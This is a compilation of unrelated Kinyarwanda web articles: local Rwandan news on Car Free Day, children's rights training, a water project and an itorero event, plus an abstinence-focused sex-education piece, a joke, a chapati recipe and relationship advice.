Ku bifuza guha amahirwe umuntu ku giti cye wagaragaje ibikorwa by’indashyikirwa cyangwa umuryango/ikigo cyahize ibindi mu guteza imbere urubyiruko, impapuro z’itora mwazisanga kuri bit.ly/2jDeOaT mu rurimi rw’Icyongereza cyangwa kuri http://bit.ly/2f4WRgf mu rurumi rw’Ikinyarwanda.


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Byatangajwe uyu munsi n’Umuyobozi wungirije w’umujyi wa Kigali ushinzwe ubukungu, Busabizwa Parfait, mu kiganiro n’abanyamakuru kigamije kugaragaza uko gahunda zo kwitegura iminsi mikuru isoza umwaka ziteye.
Muri izo gahunda harimo iy’umujyi ushyushye, muri iyi minsi mikuru, ikubiyemo ibikorwa byo gusukura no gutaka inyubako cyane cyane gushyira amatara manini n’imitako mu nyubako zihuriramo abantu benshi, gutaka mu masangano y’imihanda, gutegura ibitaramo bigamije gususurutsa abazaza kwizihiriza iyo minsi muri Kigali no gutanga Serivisi nziza.
Asobanura ku mpinduka za Car Free Day, Busabizwa yagize ati “Muzi ko Car Free Day ari igikorwa umujyi wa Kigali watangije umwaka ushize, tugamije gukangurira abatuye umujyi wa Kigali gukora Siporo, bityo tukirinda indwara zitandura. Cyaratangiye, cyagenze neza cyitabirwa n’abantu benshi n’abaganga bapimaga abantu bakagenda babagira inama. Nyuma y’icyo gihe no kubiganiraho n’izindi nzego, umwaka utaha tuzajya tuyitegura inshuro ebyiri mu kwezi.”
Yakomeje asobanura ko ubusanzwe iyo Siporo yakorwaga mu cyumweru cya mbere cya buri kwezi, ariko ko hagiye kwiyongereho n’icyumweru cya gatatu kugira ngo abantu babigire umuco, ku kubyo ibindi byumweru bisigaye, abaturage bazajya banabikora ku rwego rw’akagari ari benshi.


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Kwifata ni uburyo bwo kwirinda gusama, gutera inda no kwirinda kwandura indwara zandurira mu myanya ndangabitsina bukoreshwa ku isi hose mu bantu batari bitegura guhangana n’ibibazo byose byaturuka mu guhuza ibitsina.
Kwifata ni ukwirinda guhuza igitsina mu buryo ubwo ari bwo bwose cyangwa kugerageza gushimishwa n’igitsina mu buryo ubwo ari bwo bwo bwose. Ni ukuvuga kwirinda kubikorera mu igituba,mu kibuno
, mu kanwa
, kwikinisha
wenyine cyangwa ufatanije n’undi.
Uburyo bwose bwo gushimishwa n’igitsina si ko bwatuma usama cyangwa wandura indwara, ariko nk’umuntu witaye ku buzima bwawe ugomba kumenya guhitamo icyakugirira akamaro. Abantu benshi bashimishwa no guhuza ibitsina n’umuntu umwe gusa kurusha kujya hirya no hino
Mu basore n’inkumi kwifata ni bwo buryo bwo kudasama no gutera inda bukunze gukoreshwa, hari abadakoresha ibinini bagahitamo kwifata. Abakobwa benshi bari hagati y’imyaka 15-19 ntibarahuza ibitsina.
UKI NKENEYE IMBORO CYANGWA IGITUBA ?
K
Iyo wumva ukundanye n’ikindi gitsina uba wumva watera intambwe ukarenga gusomana bisanzwe no gukaresanya mugahuza ibitsina kugira ngo umwereke ko umukunze kandi ko umufite ku mitima. Nyamara burya si ngombwa ko muhuza ibitsina kugira ngo umwereke ko umukunda.
Mushobora gusohokana
-ku kiyaga cyangwa ku nyanja, ku mugezi, munsi y’igiti mu kayaga,
-kujyana muri filme n’ibindi.
Ibi bishobora kwereka umukunzi wawe ko umwitayeho. Guhuza ibitsina si bwo buryo bwonyine bwo kwerekana ko umwitayeho ahubwo kwifata bishobora kwerekana ubwihangane no kwitanaho mufitanye ku buryo bishobora no gutuma mukundana kurushaho. Kandi n’ubundi agapfundikiye gatera amatsiko.
KWIFATA BIRAGOYE
Ku basore benshi imisemburo yo mu mubiri iba yabasaranye hagakubitira ho no gushaka kuvumbura imibiri yabo utibagiwe na pression ya bagenzi babo birirwa bababwira ko ngo bo bahora bahuza ibitsina, bababwira ko guhuza ibitsina bina bryoha kandi ari ibigwari niba batabikora. Iyi si nayo turimo uyu munsi iteye ubwoba, igitsina ntaho utagisanga, n’iyo utekereje kwifata bisa nk’aho ari wowe wenyine usigaye urimo kubigerageza. Ikindi ni uko kera abantu bashakaga bakiri bato bityo kwifata kwabo kukamara igihe gito kurusha uyu munsi, aho umusore aba agomba kurangiza amashuri abanza n’ayisumbuye cyangwa na universite harimo no kubura uburyo bwo kurushinga bitewe n’impamvu zitandukanye. Bishobora ku gusaba imyaka 15 yo kwifata hagati y’bugimbi n’igihe ushakiye wenda kuri 25-30. Hari ubwo gahunda wihaye inanirwa guhangana n’umubiri ukurwanya.
IRINDE AHAKUGORA
Nyamara ariko ushobora kwifata kandi benshi barabishobora. Jya wirinda kwishyira mu myanya n’ibihe byatuma utihanganira kwifata nko kwifungirana mu nzu n’umukobwa mwenyine n’ahandi.


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GISAGARA: Abana barasabwa kutajya bitwaza uburenganzira bwabo ngo batere hejuru ababyeyi
Komite y’abana bahagarariye abandi ku rwego rw’akarere ka Gisagara bahuguwe ku nshingano za komite nyobozi z’abana, uburenganzira bw’umwana n’imikoranire n’izindi nzego kuva ku rwego rw’umudugudu kugeza ku Karere. Ibi biba kugirango abana barusheho kumenya uburenganzira bwabo kandi banamenye kuvuganira abafite ibibazo hagati yabo.
N’ubwo kuva mu kwezi kwa Kanama 2012 batorwa batari barahuguwe, ngo ntibyababujijegukora ubuvugizi ku bibazo by’abana bamwe byagaragaye hirya no hino mu Mirenge. UWANGUWE Faustine ahagarariye abana bafite ubumuga muri komite yo mu murenge wa Nyanza zvugz koko bakoreye ubuvugizi umwana w’impfubyi wari warataye ishuri kubera ko nta bushobozi yari afite bituma ahinduka mayibobo, ubuyobozi bwamushakiye umuryango umufasha none yasubiye mu ishuri.
Umukozi ushinzwe uburinganire, iterambere ry’umuryango n’iyubahirizwa ry’uburenganzira bw’umwana mu karere ka Gisagara Madamu NYIRARUKUNDO Françoise, avuga ko aya mahugurwa azatuma komite z’abana banoza imikorere yabo kuko ngo barabahugura ku mikorere y’amahuriro y’abana, hagaragazwa inshingano za komite nyobozi z’amahuriro y’abana, uburyo bazajya bakorana n’izindi nzego kuva ku mudugudu kugeza ku karere, uburenganzira bwabo nko kwiga, kuvuzwa n’ibindi. Barahugurwa kandi ku nshingano z’abana muri rusange kuko umwana nawe agomba kwiga, gufasha ababyeyi mu bushobozi bwabo, kububaha no kubaha abantu babaruta muri rusange ndetse no kubahana hagati yabo.
Umuyobozi w’Akarere wungirje ushinzwe imibereho myiza y’abatuage mu Karere ka Gisagara madamu UWINGABIYE Donatille atangiza aya mahugurwa, yashishikarije abana guharanira uburenganzira bwabo bakagira uruhare mu kurwanya, kubuza ababyeyi guha no gutuma abana inzoga.
Yabasabye kugenzura ko abana bavuka bandikishwa kuko ari uburenganzira bwabo no gutanga raporo kubageze igihe cyo kwiga batajyanwa gutangira ishuri. Yaboneyeho umwanya avuga ko hari abana bakoresha uburenganzira bwabo nabi bagateza umutekano muke mu miryango, maze ababwira kubabarura bakabatangira raporo.
Ati « Ntibikwiye ko ibyo tubigisha bijyanye n’uburenganzira bwanyu mu byitwaza mugatera ababyeyi hejuru, nimube abana barangwa n’ikinyabupfura kandi abitwara nabi mujye mubatumenyesha »
Asoza yabasabye kujya bitabira gahunda zose za Leta cyane cyane umugoroba w’ababyeyi ubera muri buri mudugudu kuko bazashobora kuhavugira ibyo basaba ababyeyi.
Aya mahugurwa kandi yatanzwe no kuri komite z’abana mu tugari kuri buri murenge, bityo abana bose bakaba barahawe aya mahugurwa mu karere.


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Gatsibo: Abaturage ibihumbi 25 baruhutse kuvoma ibiziba
Abaturage bo mu Karere ka Gatsibo batangaza ko bafite akanyamuneza nyuma yo kuruhuka urugendo rurenga isaha bakoraga bajya gushaka amazi meza.
Abo baturage bo mu Mirenge ya Rugarama, Rwimbogo na Gitoki babitangaje ubwo bamurikirwaga umuyoboro w’amazi meza wa Cyampirita, tariki ya 23 Werurwe 2017.
Mukamparirwa Vestine wo mu Murenge wa Rugarama, avuga ko kuba baravomaga kure kandi bagakoresha amazi y’ibiziba byabagiragaho ingaruka.
Agira ati “Mbere kugira ngo tubashe kubona amazi meza twabanzaga gukora urugendo rurerure rungana n’isaha.
Iyo twohorezagayo abana byatumaga basiba ishuri rimwe na rimwe bikabaviramo gutsindwa amasomo, kuba batwegereje aya mazi biradushimishije cyane.”
Aba baturage bakomeza bavuga ko banavomaga amazi y’ibiziba bigatuma banywa bakanakoresha amazi mabi bikabaviramo kurwara indwara ziterwa n’umwanda.
Manzi Theogene, Umuyobozi wungirije w’Akarere ka Gatsibo ushinzwe iterambere ry’ubukungu avuga ko kuba abatuye aka karere bagenda begerezwa amazi meza ari ibintu byo kwishimira cyane, kuko bituma abaturage bagenda barushaho kugira ubuzima bwiza.
Agira ati “Amazi ni ubuzima niyo mpamvu natwe nk’ubuyobozi dukora ibishoboka byose ngo ubuzima bw’abo tuyobora burusheho kugenda neza ariko tunasaba abaturage gufata neza amavomero baba begerejwe kugira ngo atazangirika.”
Uwo muyoboro wa Cyampirita wuzuye mu gihe cy’imyaka itatu, ukaba waratwaye amafaranga asaga Miliyoni 500 RWf. Uzahaza abaturage ibihumbi 25,277.
Uyu mushinga washyizwe mu bikorwa n’ikigo gishinzwe amazi, isuku n’isukura WASAC ku bufatanye n’Akarere ka Gatsibo, uterwa inkunga n’umushinga utegamiye kuri Leta wa World Vision.
Kugeza ubu abaturage b’Akarere ka Gatsibo bamaze kugerwaho n’amazi meza bari ku kigero cya 63%.
Ubuyobozi bw’aka karere bufite intumbero ko mu mwaka wa 2020 abagatuye bose bazaba bamaze kugerwaho n’amazi meza.


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Rwanda | Ngoma: Itorero ritoza abanyarwanda kwishakamo ibisubizo ntagutegereza abandi
Mugutangiza itorero mu midugudu yose igize akarere ka Ngoma,hatanzwe ubutumwa buvuga ko itorero ritoza abanyarwanda gukora bakishakamo ibisubizo badategereje akimuhana.
Gutangiza itorero ku rwego rw’ akarere ka Ngoma byabaye kuri uyu wa 27 Kanama 2012 mu murenge wa SAKE mu kagari ka Rukoma .
Ubutumwa bwatanzwe n’ abayobozi batandukanye , bwibanze ku bijyanye na gahunda y’itorero aho Alphonse BAKUSI wari waje ahagarariye itorero ry’igihugu yabwiye abaturage ko itorero rikubiyemo ibintu 3 by’ingenzi bifasha abaririmo .
Ibyo bintu Bakusi yasobanuye ko harimo  uburere mbonera-gihugu,uburere mboneza-muco,mboneza mibanire n’uburere mboneza –murimo.
Alphonse BAKUSI ku ngingo y’uburere mboneza-murimo yavuze ko itorero rishishikariza abanyarwanda gukora ,umuntu akumva ko agomba kubaho atarindiriye ko hari undi uzaza kubimukorera.
Ibi byashimangiye impamvu z’ikigega’’agaciro development fund’’cyagarutsweho n’abayobozi bose bafashe amagambo .
Yagize ati†Ubugabo burihabwa niba wubatse urugo ni urwawe niwowe ugomba gukora ukaruteza imbere, uburere mboneza murimo nicyo butubwira. Igihugu nacyo ni urugo rwacu tugikorere tudategereza uza kudufasha.â€
Umuyobozi w’akarere ka Ngoma NAMBAJE Aphrodis  yasobanuye ko impamvu z’ishyirwaho ry’iki kigega ari ugushaka kwihutisha iterambere abaturage babigizemo uruhare kandi biturutse ku bushake bwabo,aho gutegereza inkunga z’amahanga.
Intaramanaguhiga z’akarere ka Ngoma zakiriye neza ishyirwaho ry’iki kigega,zinemeza ko zizashyigikira  ikigega agaciro development .
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Urwenya-"Pu burya ifiriti ni ibirayi !!!!"
"Pu burya ifiriti ni ibirayi !!!!"
Umusore yahoraga yumva bavuga ko ifiriti iryoha ariko atayizi agahora yumva ashaka kuzayiryaho ! rimwe azaze i Kigali aje gusura abantu yumve ngo batetse ifiriti. Kubera ukuntu yari ayirwaye, yigira inama yo kudataha atayiriye. Igihe cyo kuzana ibiryo kumeza kigeze, wa mu type ategereza hamwe n'abandi. Igihe cyo kwarura kigeze ahera kuri cya gisorori yumvise bavuze ko kirimo ifiriti, ararura atitaye kubindi ni uko agikoramo bwa mbere atamiye ati "pu burya ifiriti ni ibirayi !!!!"
Shyiraho Igitekerezo!
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Capati y’ingano
Ibikoresho
- Ifu y’ingano nziza y’umwimerere ( itari ifarini) 1kg
- Umunyu akayiko ½ y’akayiko
- Ibiyiko 5 by’amavuta akomoka ku bimera
- Amazi
Uko bikorwa
- Fata ikilo1 cy’ifu y’ingano y’umwimerere
- Ongeraho akayiko umunyu uvange
- Shyiram na none ibiyiko 5 by’amavuta ya elayo cg andi meza .
- Vangisha amazi usukamo buhoro buhoro , kugeza ubwo byivanga neza (hagati y’iminota 5 ni 10)
- Vanga neza kugez aigihe bidafata ku ntoki ahubwo biveho mu buryo bworoshye
- Bumba utubumbe duto, nyuma buri kamwe ugakandishe icupa usa n’urambura cyangwa ukoreshe agate agati kabigenewe ku meza asukuye kugeza ubwo kaba uruziga .
- Genda ushyira ku ipanu wasizeho amavuta make hose ubundi ujye uhindura kugeza zose zihiye
Gracieuse Uwadata


text:
Ibintu 6 umugore aba yifuza ku mugabo
Kuba ibyo umugore yifuza ku mugabo atabasha kubibona ni kimwe mu bintu byaba intandaro yo gusenyuka k’urugo rwabo cyangwa se rukaba rwakomera mu gihe abasha kubibona.
Ni muri urwo rwego twabakusanyirije ibintu 6 abagore benshi baba bifuza ku bagabo babo bigatuma nabo babubaha kandi bakarambana mu rukundo :
Kuba akora cyane kandi afite intumero y’ahazaza : Abgore bashimishwa no kuba abagabo babo bakora cyen kandi bakaba bafite intubero y’ahazaza banaharanira kuzigeraho. Nta mugore ujya ushimishwa no kuba umugabo we ari wa muntu w’umunebwe utajya utekereza ku buzima bw’ahazaza ngo abe abufitiye gahunda ifatika. Gusa na none wirinda kugira inzozi z’ahazaza zimeze nk’ubwiyemezi kuko abagore benshi batabikunda.
Kuba ugaragaza ko uzi ubwenge kandi ibyo ukora ukabikora neza : Nkuko bavuga ko umugabo aba ari umutwe w’urugo rwe, abagore baba bacyeneye ko uwo mugabo aba akwiriye kwitwa umutwe koko. Bakunda umugabo uzi ubwenge ubasha gushaka umuti w’ibibazo igihe byayoberanye aho kuba azashakira umuti w’ibibazo ku mugore we. Ibyo bijyana kandi no kumenya gukora inshingano ze yaba afite zose mu buryo buboneye.
Mbese akaba yitwara neza ku kazi, umugabo abantu bose bubaha kuber auburyo yitwara.
Umugabo wita ku mugorewe akamuha umwanya : Ibyo tumaze kubona haruguru uramuts eubyujuje ariko ukaba utita ku mugore wawe ngo umuhe umwanya, ibyo ntacyo byaba bimaze. Umugore akeneye kumva ko umuri hafi igihe cyose.
Abagore kandi bakunda umugabo baganira bagatebya, ariko na none akaba abashak kumenya niba umugore ari mu bihe byiza cyangwa ibihe bibi akaba yamenya uko amwitwaraho. Ibyo byose bikajyana no gushyir amu bikorwa ngo umwereke ko umwitayeho. Waza kumufata avuye ku kazi niba ufite imodoka, kumukorera umurimo yari sanzwe akor aburi munsi nko koz aibyombo, gutera ipasi n’ibindi.
Kuba umunyakuri kandi ukamugirira icyizere : Abagore bumva bamerewe neza iyo abagabo babo ari abanyakuri kandi bakabagirira icyizere. Iyo utangiye kwereka umugore wawe ko umuhangayikiye cyane icyo gihe biba bitangiye gupfa.
Umugabo utanga umutekano ku mutungo : Aha niho abenshi bahera bavuga ko abagore bakunda imitungo kuko batinya cyane ahantu bashobora kuba bagahutazwa n’umutekano muke w’umutungo urugo rufite. Nyamara ntabwo ari uburyo bwo gukunda umutungo nkuko bivugwa ahubwo ni uburyo bwo gukunda gutekana. Abagore nibwo buryo bumva batekanyemo nkuko abagabo nabo bafite ubwabo buryo bumva batekanyemo.
Umugabo utazabangikanya n’abandi : Nyuma yo kuba abagore bakund agutekana ku mutungo hanaza kuba bakunda gutekana ku buryo bizera ko nta wundi muntu umugabo azababangikanya nawe nko kuba yamuca inyuma, kuba afite umuntu aha umwanya munini ( nka mama we, inshuti n’abandi) kurusha uko awuha umugore we n’ibindi.
Ibyo ni bimwe mu bintu abagore bakunda ku bagabo babo ariko ntibivuze ko abatabyujuje abagore babo bagomba kureka kubakunda. Kunda umugabo wawe wibande ku byo ubona ko yujuje aho kumubona mu ruhande rw’ibyo atujuje.
Gracieuse Uwadata